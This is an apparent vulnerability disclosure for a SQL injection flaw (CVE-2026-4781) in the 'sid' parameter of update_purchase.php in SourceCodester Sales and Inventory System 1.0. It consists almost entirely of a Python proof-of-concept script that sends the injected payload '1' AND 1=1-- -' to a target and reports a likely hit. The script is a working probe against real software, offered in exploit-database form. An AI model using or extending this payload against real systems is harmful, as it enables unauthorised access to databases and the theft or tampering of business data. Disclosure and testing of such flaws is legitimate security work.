CVE-2026-4781: SourceCodester销售库存系统SQL注入漏洞

# Exploit Title: SourceCodester Sales and Inventory System 1.0 - SQL Injection (sid) # Date: 2026-03-25 # Vulnerable File: update_purchase.php import requests def check_sqli(url): # Payload to test SQL injection payload = "1' AND 1=1-- -" target_url = f"{url}/update_purchase.php?sid={payload}" try: response = requests.get(target_url) if response.status_code == 200: print(f"[+] Potential SQL Injection found at: {target_url}") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://target-ip/path" check_sqli(target)